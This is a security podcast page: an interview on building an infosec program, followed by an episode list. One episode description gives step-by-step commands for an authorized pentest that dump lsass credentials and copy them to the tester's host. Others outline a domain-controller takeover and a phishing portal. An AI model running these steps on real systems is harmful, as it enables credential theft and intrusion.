7MS #464: Interview with Christopher Fielder of Arctic Wolf
7 Minute Security22 Huhti 2021

7MS #464: Interview with Christopher Fielder of Arctic Wolf

Today our friend Christopher Fielder of Arctic Wolf joins us on the show again (check out his first appearance in episode #444 - this time to talk about the security journey, and how to start out in your "security diapers" and mature towards a stronger infosec program. Specifically, we talk about:

  • When the company has one person in charge of IT/security, how can you start taking security seriously without burning this person out? First, it's probably a good idea to take note of what you have as far as people, tools and technology to help you meet your security goals.

  • Early in this process, you should inventory what you have (see CIS controls) so you know what you need to protect. A few tools to help you get started:

  • As you go about any phase of your security journey, don't ever think "I'm good, I'm secure!"

  • Quarterly/yearly vulnerability scans just won't cut it in today's threat landscape - especially your external network. Consider scanning it nightly to catch show-stoppers like Hafnium early)

  • Limiting administrative privileges is SUPER important - but don't take our word for it, check out this report from Beyond Trust for some important stats like "...enforcing least privilege and removing admin rights eliminates 56% of critical Microsoft vulnerabilities."

  • Install LAPS, because if an attacker gets local admin access everywhere, that's in many ways just as good as Domain Admin!

  • Train your users on relevant security topics. Then train them again. Then....again. And after that? Again.

  • There are many ways to conduct tabletop exercises. They don't have to be crazy technical. Start with the internal tech teams, practice some scenarios and get everybody loosened up. Then add the executives to those meetings so that everybody is more at ease.

  • How do you know when it's time to ask for help from an outside security resource?

  • Not sure what kind of shape your company's security posture is in? Check out Arctic Wolf's free security maturity assessment.

Jaksot(696)

7MS #512: First Impressions of InsightIDR

7MS #512: First Impressions of InsightIDR

Today I'm sharing some first impressions of the Rapid 7 InsightIDR as kind of a teaser for an eventual new chapter in our Desperately Seeking a Super SIEM for SMBs series. Disclaimer: remember these are first impressions. There may be some missed detections I talk about today that are a me problem and not the technology. I hope to get to the root of those unresolved issues by the time I talk more formally about InsightIDR in a future episode. Enjoy!

17 Maalis 202251min

7MS #511: How to Succeed in Business Without Really Crying - Part 10

7MS #511: How to Succeed in Business Without Really Crying - Part 10

Today we're continuing our series focused on [owning a security consultancy], talking specifically about: How not to give up on warm sales leads, even if they haven't panned out for 5+ years! Some cool Mac tools that help me manage 7MS - such as Craft and OmniFocus A sneak peek at a SIEM vendor that will soon be featured in an episode of Desperately Seeking a Super SIEM for SMBs

11 Maalis 202236min

7MS #510: First Impressions of Tailscale

7MS #510: First Impressions of Tailscale

Today we share some first impressions of Tailscale, a service that advertises itself as "Zero config VPN. Installs on any device in minutes, manages firewall rules for you, and works from anywhere." Is it really that cool and easy? Listen to today's episode to find out!

2 Maalis 202242min

7MS #509: Creating Kick-Butt Credential-Capturing Phishing Campaigns - Part 4

7MS #509: Creating Kick-Butt Credential-Capturing Phishing Campaigns - Part 4

Today we revisit our phishing series with a few important updates that help us run our campaigns more smoothly, such as creating a simple but effective fake O365 portal, and being aware that some email systems may "pre-click" malicious links before users ever actually do.

23 Helmi 202234min

7MS #508: Tales of Pentest Pwnage - Part 33

7MS #508: Tales of Pentest Pwnage - Part 33

Hey friends! We have another fun test of pentest pwnage to share with you today, which is kind of tossed in a blender with some first impressions of ShellcodePack. We were on a bunch of pentests recently where we needed to dump credentials out of memory. We usually skim this article and other dumping techniques, but this time nothing seemed to work. After some discussion with colleagues, we were pointed to nanodump, which I believe is intended for use with Cobalt Strike, but you can compile standalone (or, pro tip: the latest CrackMapExec has nanodump.exe built right into it, you just have to create the folder first. So what I like to do is put nanodump in a folder on my Kali box, get some admin creds to my victim host, and then do something like this: # Windows system: tell your Windows system to trust the victim host you're about to PS into: winrm set winrm/config/client @{TrustedHosts="VICTIM-SERVER"} # Windows system: PowerShell into the victim system Enter-PSSession -computername -Credential domain.com\pwneduser # Kali system: create and share a folder with nanodump.exe in it: sudo mkdir /share sudo python3 /opt/impacket/examples/smbserver.py share /share -smb2support # Victim system: copy nanodump from Kali box to VICTIM-SERVER copy \\YOUR.KALI.IP.ADDRESS\share\nano.exe c:\windows\temp\ # Victim system: get the PID for lsass.exe tasklist /FI "IMAGENAME eq lsass.exe" # Victim system: use nano to do the lsass dump c:\windows\temp\nano.exe --pid x --write c:\windows\temp\toteslegit.log # Victim system: Get the log back to your Kali share copy c:\windows\temp\toteslegit.log \\YOUR.KALI.IP.ADDRSS\share\ # Kali system: "fix" the dump and extract credz with mimikatz! sudo /opt/nanodump/restore_signature.sh winupdates1.log sudo python3 -m pypykatz lsa minidump toteslegit.log -o dump.txt Enjoy delicious passwords and hashes in the dump.txt file!

18 Helmi 202246min

7MS #507: Interview with Matthew Warner of Blumira

7MS #507: Interview with Matthew Warner of Blumira

Today's featured interview is with Matthew Warner, CTO and co-founder of Blumira. We had a great chat about why out-of-the-box Windows logging isn't super awesome, "free" ways to get logging turned up to 11 (Microsoft's audit policy recommendations, sysmon, sysmon modular), as well as how to get better logging in hard-to-reach places like Kerberos. Be sure to also check out Blumira's resources on detecting Kerberoasting and simplifying Windows log collection and ongoing management with Poshim. And please check out the Webinar we did together which demonstrates some common pentest attacks - and how Blumira can detect them!

9 Helmi 20221h 10min

7MS #506: Tales of Pentest Pwnage - Part 32

7MS #506: Tales of Pentest Pwnage - Part 32

Today's my favorite tale of pentest pwnage (again)! This time we're talking about sAMAccountName spoofing specifically. We also talk about my always-under-construction list of things I try early in a pentest for maximum pwnage: Run PingCastle Do the SharpHound/BloodHound dumps Run the DHCP poisoning module of Responder Check the ms-DS-MachineAccountQuota value in the domain - if its at the default (10), then any user can add machines to the domain. Why is the ability to add machines to the domain important? Because in the case of the sAMAccountName spoofing, if you have a non-domain-joined machine like I do, you need the ability to add a computer object to the domain. Check the Pentestlab.blog article for more info, but essentially, if you have an unpatched domain controller and the ability to add computer objects to the domain, you can pull off the attack. The article goes into crazy good technical detail, and here's my not-so-technical explanation: If I was on a pentest, and the DC was called 7MS-DC01, and I could join a machine to the domain (which as a reminder - ANY user can do if the machine quota value is at the default value of 10), I could rename that machine account to be 7MS-DC01 without the dollar sign, request a TGT for the domain controller's account, then restore the machine name back to what it was before. Now, because the TGT is stored in memory, we can use the S4U2self Kerberos extension to request a service ticket using a domain admin account. And because the original ticket belong to the 7MS-DC01 machine name which now doesn't exist, Kerberos will look for 7MS-DC01$ and will issue the ticket for the requested service. I might've butchered that explanation mom, but I tried my best! TLDL/TLDR: find and exploit these unpatched domain controllers with noPac. Enjoy!

3 Helmi 202252min

7MS #505: Pwning Wifi PSKs and PMKIDs with Bettercap

7MS #505: Pwning Wifi PSKs and PMKIDs with Bettercap

Hey friends, today I talk about the old school way I used to pwn wifi networks, then a more modern way, and then my new favorite way (spoiler alert: I use Bettercap).

28 Tammi 202248min

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